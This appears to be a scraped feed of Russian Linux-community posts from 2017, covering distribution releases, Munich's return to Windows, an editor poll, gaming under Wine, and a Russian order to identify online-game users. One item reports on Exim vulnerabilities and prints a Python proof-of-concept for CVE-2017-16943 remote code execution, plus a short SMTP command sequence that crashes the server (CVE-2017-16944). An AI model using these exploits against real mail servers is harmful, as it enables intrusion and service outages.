И это всё МОЁ
Представлен релиз дистрибутива Linux Mint 18.3, второго обновления ветки Linux Mint 18.x, формируемой на пакетной базе Ubuntu 16.04 LTS и поддерживаемой до 2021 года. Дистрибутив полностью совместим с Ubuntu, но существенно отличается подходом к организации интерфейса пользователя и подбором используемых по умолчанию приложений. Разработчики Linux Mint предоставляют десктоп-окружение, соответствующее классическим канонам организации рабочего стола, которое является более привычным для пользователей, не принимающих новые методы построения интерфейса Unity и GNOME 3. Для загрузки доступны DVD-сборки на базе оболочек MATE 1.18 (1.6 Гб), Cinnamon 3.6 (1.6 Гб).



И это всё МОЁ
Возврат к Windows обойдётся властям Мюнхена в 50 миллионов евро

Проект LiMux – The IT evolution или просто LiMux долгое время был на слуху у всех, а адепты операционной системы Linux приводили его в пример как огромное достижение для сообщества открытого программного обеспечения. Суть проекта была довольно простой: власти Мюнхена решили перевести всё программное обеспечение в официальных учреждениях на использование исключительно решений с открытым программным кодом. Основой послужил один из вариантов Ubuntu, который так и назвали — LiMux.

Это первый дистрибутив, соответствующий промышленному стандарту ISO 9241. Основными программными пакетами стали LibreOffice и WollMux. Первый является заменой Microsoft Office, а второй — специализированной программой для составления писем, заполнения служебных форм и составления отчётов по стандартам, принятым в Германии. Впервые о переходе к открытому ПО власти города заговорили ещё в 2003 году. Затем в течение нескольких лет планы корректировались. В итоге проект заработал на полную мощность в конце 2013 года, а власти Мюнхена сообщили, что LiMux помог сэкономить 11,7 миллиона евро. Но всё пошло не так, как задумывалось, хотя к 2013 году на новую среду удалось переместить 15 тысяч рабочих станций, а количество шаблонов LibreOffice достигло 18 тысяч.

Реальность, как водится, оказалась куда менее радужной. Во-первых, по данным Microsoft, переход на Linux-экосистему обошёлся Мюнхену намного дороже заявленного. Редмондский гигант приводит цифру в 60,6 миллиона евро, в то время как использование связки Windows XP и новой версии Office обошлось бы не более чем в 17 миллионов. Во-вторых, потребовалось массовое переобучение персонала, а этот процесс тоже не бесплатен — называется цифра порядка 6,1 миллиона евро. Многим пользователям LiMux не понравилась, их процент варьируется от 20 % до 40 % по разным данным. Некоторые даже называют этот проект «источником всех зол в Мюнхене».

На то есть некоторые основания: так, городская ИТ-инфраструктура оказалась несовместимой с iPhone и iPad; также был зафиксирован ряд проблем с почтовыми серверами. В 2014 году мэром Мюнхена был избран Дитер Райтер (Dieter Reiter), весьма скептически относящийся к проекту LiMux и системам на базе Linux в целом. Исследование, проведённое компанией Accenture, партнёром Microsoft, разумеется, не удовлетворило Европейский фонд свободного программного обеспечения (FSFE), однако его результатов оказалось достаточно, чтобы городское собрание начало рассматривать планы по возврату к программным продуктам Microsoft.

В настоящее время один только перевод 29 тысяч рабочих станций на использование Windows 10 оценивается примерно в 50 миллионов евро, а полная реорганизация информационной инфраструктуры Мюнхена оценивается в 89 миллионов; в эту цифру входит и ?3,1 миллиона на тестирование новых систем и переобучение персонала. Было заявлено, что переход на Windows 10 решит ряд проблем с совместимостью как приложений, так и аппаратного обеспечения. И действительно, такие проблемы имеются: примерно одна пятая всех рабочих станций в проекте использует двойную загрузку ОС, поскольку ряд бизнес-приложений работает только в среде Windows.

Новый проект предусматривает активное использование виртуализации, а в качестве основного офисного пакета планируется использование Microsoft Office 2016. Надо сказать, что удовольствие это недешёвое, ведь лишь на лицензии Windows и Office будет потрачено почти 30 миллионов евро. Для сравнения: новое аппаратное обеспечение обойдётся лишь в ?4,8 миллиона, а обслуживание — в ?13,4 миллиона. Предварительные работы начнутся уже в следующем году, развёртывание новой системы запланировано на 2020 год, а окончание процесса миграции ожидается к 2022 году, но, возможно, процесс слегка задержится и зацепит начало 2023 года. Надо сказать, что до этого момента поддержка LiMux прекращена не будет и она будет использоваться параллельно с Windows 10.

Стоит также отметить, что это не первая история с миграцией на Linux. Ранее, в 2011 году от проекта внедрения дистрибутива LinEx в бюджетных организациях отказались власти испанской автономной области Эстремадура. К этому моменту на разработку и внедрение этого решения ушло почти 10 лет — изначально местные власти надеялись сэкономить минимум 30 миллионов евро в год на лицензиях ПО. Проект был завершён к 2013 году, однако в 2016-м было принято решение о возврате к продукции Microsoft. Впрочем, в отличие от немцев, испанцы всё же не планируют полного отказа от программного обеспечения с открытым кодом. К тому же в Испании многие провинции имели или имеют собственные проекты по созданию дистрибутивов Linux.

Ещё один крупный европейский проект по добровольному переходу к свободному ПО из-за недовольства решениями Microsoft сейчас осуществляется в Национальной жандармерии Французской республики — на дистрибутив GendBuntu переведены почти все ПК (около 70 тысяч), а переход на другое ПО ведётся с 2004 года. Кроме того, в прошлом месяце один из сенаторов сделал запрос о создании специальной комиссии в связи с планами военных по заключению долгосрочного договора с Microsoft. Подозрения вызывает возможное сотрудничество с NSA, а также риск ухода от налогов (договор заключается с ирландским подразделением корпорации, а не с французским).
Возврат к Windows обойдётся властям Мюнхена в 50 миллионов евро



И это всё МОЁ
Уязвимость в Exim, позволяющая выполнить код на сервере.

В почтовом сервере Exim выявлена критическая уязвимость (CVE-2017-16943), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim через передачу определённым образом оформленных команд при подключении клиента. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось с Exim 4.88), путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации.

Уязвимость вызвана ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам Exim 4.88 и 4.89, в которых поддерживается команда BDAT и расширение "ESMTP CHUNKING", которые применяются для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают выявление других методов эксплуатации уязвимости.

Так как сведения об уязвимости были оглашены через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, информация об уязвимости опубликована разработчиками Exim ещё до выпуска обновления с устранением уязвимости. Для применения также доступен предварительный вариант патча. Обновление пакетов уже доступно для FreeBSD. Проблема остаётся неисправленной в Debian (stretch), openSUSE, SUSE, Fedora, Ubuntu, RHEL/EPEL.

Для проверки подверженности систем уязвимости подготовлен прототип эксплоита, который сводится к передаче несуществующей команды с последующей отправкой команды "BDAT 1", команды BDAT без указания размера и большой порции непечатных символов. Пример на Python:

from pwn import *
r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:")
r.recvline()
r.sendline("RCPT TO:")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()
Кроме того, в Exim дополнительно выявлена ещё одна уязвимость в реализации "ESMTP CHUNKING" (CVE-2017-16944), позволяющая вызвать отказ в обслуживании. Проблема также присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа "." в конце блока, переданного командой BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:

EHLO localhost
MAIL FROM:
RCPT TO:
BDAT 10
.
BDAT 0

Уязвимость в Exim, позволяющая выполнить код на сервере



И это всё МОЁ
VI (vi, nvi)10
Intellij Idea и прочие от JetBrains8
GNU Emacs7
Sublime Text 2/32
Gedit2
Kate2
nano1
Eclipse 1
mcedit1
Leafpad1
другой 1
NetBeans 0
Xcode0
Atom0
Geany0
Всего голосов: 36
Всего проголосовавших: 15




 , , , ,








И это всё МОЁ


Platform: Windows
Version: AIMP v4.10 or newer


Sizes: 16x16, 32x32, 48х48, 256х256



И это всё МОЁ
Почему же российские военные пользуются именно этим дистрибутивом, а не другим? Смотри ответ в видео.

Подпишитесь на наш канал www.youtube.com/linuxpub
Видео:




И это всё МОЁ
Совбез России поручил ввести идентификацию пользователей онлайн-игр.

Онлайн-игры и соцсети обяжут идентифицировать игроков и пользователей по номеру телефона и передавать сведения о регистрации в правоохранительные органы в ответ на запросы силовиков, следует из протокола заседания Совета безопасности России, которое состоялось 26 октября. Совбез поручил Минкомсвязи и ФСБ до 1 июня 2018 года разработать соответствующие меры регулирования,следует из протокола заседания.

Совет безопасности поручил ФСБ ввести идентификацию пользователей онлайн-игр и социальных сетей с помощью сотовых телефонов. Власти не раз утверждали, что в игровых чатах общаются террористы. Эксперты считают меру избыточной.

Совет безопасности России на заседании 26 октября поручил Минкомсвязи совместно с ФСБ до 1 июня 2018 года разработать дополнительные меры регулирования деятельности организаторов распространения информации (ОРИ) в интернете, то есть всех интернет-ресурсов, которые дают пользователям возможность обмениваться сообщениями. В частности, речь идет о распространении на онлайн-игры и социальные сети требований, которым с 1 января 2018 года должны подчиняться мессенджеры, — об обязательной идентификации пользователей по номеру мобильного телефона и передаче этих данных правоохранительным органам по запросу. Информация об этом поручении содержится в протоколе заседания Совбеза, подписанном 5 ноября президентом России Владимиром Путиным (копия есть у РБК, его подлинность подтвердил один из федеральных чиновников).

Деятельность ОРИ регулирует закон «Об информации, информационных технологиях и защите информации». По нему ОРИ должны предоставлять по требованию ФСБ ключи шифрования от переписки пользователей, но идентифицировать их они не обязаны. Однако с 1 января 2018 года вступят в силу поправки к закону, по которым один из видов ОРИ — мессенджеры — должны будут проводить такую идентификацию. Владельцы мессенджеров будут заключать договоры с сотовыми операторами и запрашивать у пользователей номера мобильных телефонов, чтобы в дальнейшем идентифицировать их через базу данных оператора.

Как именно будет организован процесс, пока непонятно. Детали должны быть описаны в подзаконных актах, которые еще не приняты, говорит главный аналитик Российской ассоциации электронных коммуникаций Карен Казарян. Он напоминает, что согласно так называемому закону Яровой с 1 июля 2018 года ОРИ будут обязаны в течение года хранить на территории России всю информацию о фактах коммуникации пользователей и до шести месяцев — содержание их переписки. «Требования «закона Яровой» делают предложение о дополнительной идентификации пользователей неактуальным и избыточным. Операторы уже идентифицируют абонентов по действующему законодательству. Сопоставление данных абонентов и пользователей ОРИ будет тривиальной задачей», — говорит Казарян. Он считает странным распространение требования на онлайн-игры. «Соцсети в принципе и сейчас запрашивают у пользователей номер мобильного телефона для подтверждения аккаунта. Судя по всему, миф о террористах, общающихся в массовых многопользовательских онлайн-играх, все еще актуален», — указывает Казарян.

Представители органов власти действительно несколько раз отмечали, что игры используются для общения террористами. «В Париже террористы организовывали свои коммуникации не только посредством шифрованных мессенджеров, но и, насколько я знаю, через PlayStation 4, где невозможно определить, относятся ли призывы стрелять и убивать к событиям виртуальной игры или реальной террористической атаки», — говорил в феврале 2016 года глава Роскомнадзора Александр Жаров.

В реестре ОРИ, который ведет Роскомнадзор, сейчас несколько десятков сервисов обмена сообщениями, среди которых мессенджеры Telegram и WeChat, социальные сети «ВКонтакте» и «Одноклассники», сайты знакомств Badoo и Mamba и др. По данным Mediascope на октябрь 2017 года, ежемесячная аудитория наиболее популярной в России социальной сети «ВКонтакте» составляет 41,3 млн человек, «Одноклассников» — 27,5 млн, Facebook — 19,1 млн. По данным игрового проекта StreamPub, в России насчитывалось 47 млн пользователей онлайн-игр по итогам 2016 года. Годом ранее, по данным Mail.Ru Group, число геймеров в стране составляло 43 млн человек.





И это всё МОЁ
В почтовом сервере Exim выявлена критическая уязвимость (CVE-2017-16943), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim через передачу определённым образом оформленных команд при подключении клиента. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось с Exim 4.88), путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации.



И это всё МОЁ


Походно-разъездной дебиан на ARM










И так!

PocketCHIP. Что же мы имеем:

  • Allwinner R8(он же A13)
  • 8GB Nand
  • 512 Ram
  • WiFi/BT/Sound out/USB port/GPIO
  • 480x272 px resestive touchscreen
  • Клавиатура-плата

Характеристики описывают зачем его купил и как его можно использовать - игрушка(и как оказалось экстренный ssh-терминал).

При том, что есть и вебкит даже из коробки в его штатном дебиане(браузер surf), постаивл все таки NetSurf - он ощутимо быстрее работает, и допустимо прямо показывает сайты, на которые меня может занести с этого устройства.

Тормозиллу и перехромиум на этом железе запускал. Они работали.

Через mendafen играюсь в GBA покемонов, в FBReader'е могу полистать что-нибудь, в Tic80 у меня жена играется и пишет свою игрулю, лишп и схема запускаются, даже юзабельны.

DrRacket запустился, в нем даже в гуях пореплил, но это тот еще онанизм в варешках. Просто из консоли ракет работает норм, в т.ч. легкие гуи.

Говорят на нем бзди можно запускать, если правильно подойти. Думаю как-нибудь попробовать


















>>> Просмотр
(780x1040,
1067 Kb
)










 ,








И это всё МОЁ


В GNOME можно все










Как-то слышал много претензий, что в гноме нельзя то, нельзя сё... Ребят, все можно. Сайт extensions.gnome.org открыт для всех:)

Что на скрине:

  • Dash To Panel;
  • OSX-Arc-White как тема щели и приложений;
  • Значки из iOS;
  • Вяленд;

Мне нравится. Почему-то напоминает Budgie, плоскота сказывается, видать.

Кстати, похожим образом гном готовят в дистрибутиве ROSA Linux.


















>>> Просмотр
(1920x1080,
943 Kb
)










 








И это всё МОЁ


AAA приходит в Linux (нет)










Решил попробовать запустить Великих АвтоУгонщиков 5 под вайном. В общем, играть конечно можно. Стимовский оверлей со счетчиком FPS почему-то не отобразился, но по ощущениям кадров так 20. Все настройки минимальные. В общем, вайн почти готов, вот еще чуть-чуть, еще немного, еще пара релизов, еще немного... А если серьезно, то никаких локапов не заметил, уже можно проходить, если вы конечно мазохист, или просто любите острые ощущения. В одной катсцене был графический глюк, но потом всё было нормально. И да, то ли баг, то ли нет, но в начале миссии кошка сидела на ящике. Баг в том, что то ли модель не отобразилась, то ли кошка глюканула.

Запускал с ключом -dx-10.

Да, самое начало сюжетки, ибо покупал игру только ради онлайна, который оказался чуть унылее, чем я думал.

А так... Fedora 27, кеды 5.11 из этого репа (просто мне надоело ждать, вот и обновился. Из багов только полное отсутствие звука при перезаходе в сессию.), Wine Staging 2.20 из этого репа. RX 460 с AMDGPU, древний процессор AMD Phenom II X4 925, 8 гб ОЗУ. Включен CSMT.

Возможно оффтоп. Но ведь я хотел показать готовность вайна.


















>>> Просмотр
(1286x1040,
1600 Kb
)










 , , ,








И это всё МОЁ
Доступна открытая игровая консоль Lakka 2.1.

После шести месяцев разработки подготовлен релиз дистрибутива Lakka 2.1, позволяющего превратить компьютеры, телеприставки или платы, подобные Raspberry Pi, в полноценную игровую консоль для запуска ретро игр. Проект построен в форме модификации дистрибутива LibreELEC, изначально рассчитанного на создание домашних кинотеатров. Сборки Lakka формируются для платформ i386, x86_64 (GPU Intel, NVIDIA или AMD), Raspberry Pi 1/2/3, Orange Pi, Cubieboard, Cubieboard2, Cubietruck, Banana Pi, Hummingboard, Cubox-i, Odroid C1/C1+/XU3/XU4 и WeTek_Play и т.д.

В основе Lakka лежит эмулятор игровых консолей RetroArch, обеспечивающий эмуляцию широкого спектра устройств и поддерживающий такие расширенные возможности, как многопользовательские игры, сохранение состояния, улучшение качества изображения старых игр при помощи шейдеров, перемотка игры назад, горячее подключение игровых пультов и видео стримминг. Среди эмулируемых консолей: Atari 2600/7800/Jaguar/Lynx, Game Boy, Mega Drive, NES, Nintendo 64/DS, PCEngine, PSP, Sega 32X/CD, SuperNES и т.д. Поддерживаются пульты от уже имеющихся игровых приставок, включая Playstation 3, Dualshock 3, 8bitdo, XBox 1 и XBox360. Для установки достаточно записать дистрибутив на SD-карту или USB-накопитель, подключить игровой пульт и загрузить систему.

В новой версии:

Дистрибутив переведён на пакетную базу LibreELEC 8.2;
Эмулятор RetroArch обновлён до версии 1.6.9, в которой обновлена база игр, расширены шейдеры для улучшения качества старых игр, добавлен новый игровой движок ChaiLove;
Представлен режим работы в режиме игрового киоска (пользователь не может менять настройки);




И это всё МОЁ
Toyota представила нового гуманоидного робота T-HR3.

Наверное, самые заметные успехи в робототехнике, а именно в создании автономных шагающих роботов делает компания Boston Dynamics. Но работает в этом направлении не только она, но и ее «коллеги». Например, Toyota, представившая на днях нового гуманоидного робота T-HR3. Его рост составляет полтора метра, вес — 75 килограммов. У него 32 степени свободы и 10 пальцев на руках. Плюс ко всему, эта система способна повторять все движения оператора. Все это стало возможным благодаря созданию того, что разработчики назвали “Master Maneuvering System”.

До момента анонса об этом роботе практически ничего не было слышно. Вся информация была предоставлена общественности во время анонса. Тогда же были показаны и основные возможности робота. Читать дальше



И это всё МОЁ
Секта свидетелей вендокапца! Приближаем и так неизбежный вендокапец!




И это всё МОЁ
Каким российским дистрибутивом вы пользуетесь?

Если вы разработчик российского дистрибутива, то пройдите в нашу телеграм-конференцию, мы вас коллекционируем: t.me/linuxpublic

Линуксозависимые



И это всё МОЁ
Выпуск музыкального проигрывателя Qmmp 0.11.0 и 1.2.0.

Сформированы значительные выпуски минималистичного аудиоплеера Qmmp 0.11.0 и 1.2.0, в которых используются фреймворки Qt4 и Qt5 соответственно. Программа имеет интерфейс, аналогичный WinAmp или XMMS, и в отличие от других похожих проектов не зависит от Gstreamer , а предлагает широкий выбор системы вывода звука, для получения наилучшего звучания. В том числе поддерживается вывод через OSS4 (FreeBSD), ALSA (Linux), Pulse Audio, JACK, QtMultimedia, Icecast, WaveOut (Win32), DirectSound (Win32) и WASAPI (Win32).





И это всё МОЁ
Выпуск файлового менеджера Midnight Commander 4.8.20.

Доступен выпуск консольного файлового менеджера Midnight Commander 4.8.20, распространяемого в исходных текстах под лицензией GPLv3+.

Список основных изменений:

Ускорено выполнение нормализации имён файлов для кодировки UTF-8, что привело к увеличению скорости отображения отсортированного списка файлов в больших каталогах;
В редакторе добавлена поддержка подсветки синтаксиса языка TypeScript, элементов ES2015, Protocol Buffers, gRPC и разметки Apache Hive QL. Обновлена база ключевых слов SQL и PHP;
Добавлена начальная поддержка разметки Markdown;
Обеспечено выделение файлов с расширением txz как архивов tgz;
В файл filehighlight.ini добавлены новые мультимедийные расширения;
Устранено 25 ошибок, в том числе решена проблема с неверной установкой времени при копировании файлов из архивов tar.gz и cpio.

Выпуск файлового менеджера Midnight Commander 4.8.20



И это всё МОЁ
После шести месяцев разработки подготовлен релиз дистрибутива Lakka 2.1, позволяющего превратить компьютер, телеприставку или плату, подобную Raspberry Pi, в полноценную игровую консоль для запуска ретро игр. Проект построен в форме модификации дистрибутива LibreELEC, изначально рассчитанного на создание домашних кинотеатров. Для экономии средств при помощи Lakka можно сделать игровую консоль из Raspberry Pi или Odroid, используя пульты от уже имеющихся игровых приставок, включая Playstation 3, Dualshock 3, 8bitdo, XBox 1 и XBox360. Сборки Lakka формируются для платформ i386, x86_64 (GPU Intel, NVIDIA или AMD), Raspberry Pi 1/2/3, Orange Pi, Cubieboard, Cubieboard2, Cubietruck, Banana Pi, Hummingboard, Cubox-i, Odroid C1/C1+/XU3/XU4 и WeTek_Play и т.д.



И это всё МОЁ
LibreOffice 6.0 получит избавленные от мерцаний OpenGL-переходы.

Вносящий это изменение патч и комментарий к нему, подробно объясняющий его предназначение, можно найти здесь:
cgit.freedesktop.org/libreoffice/core/commit/?i...
А также в блоге Caol



И это всё МОЁ
Состоялся выпуск значительных версий минималистичного аудиоплеера Qmmp 0.11.0 и 1.2.0, в которых используются фреймворки Qt4 и Qt5 соответственно. Программа имеет интерфейс, аналогичный winamp или xmms, и в отличие от других похожих проектов не зависит от Gstreamer , но предлагает широкий выбор системы вывода звука, для получения наилучшего звучания. В том числе поддерживается вывод через OSS4 (FreeBSD), ALSA (Linux), Pulse Audio, JACK, QtMultimedia, Icecast, WaveOut (Win32), DirectSound (Win32) и WASAPI (Win32).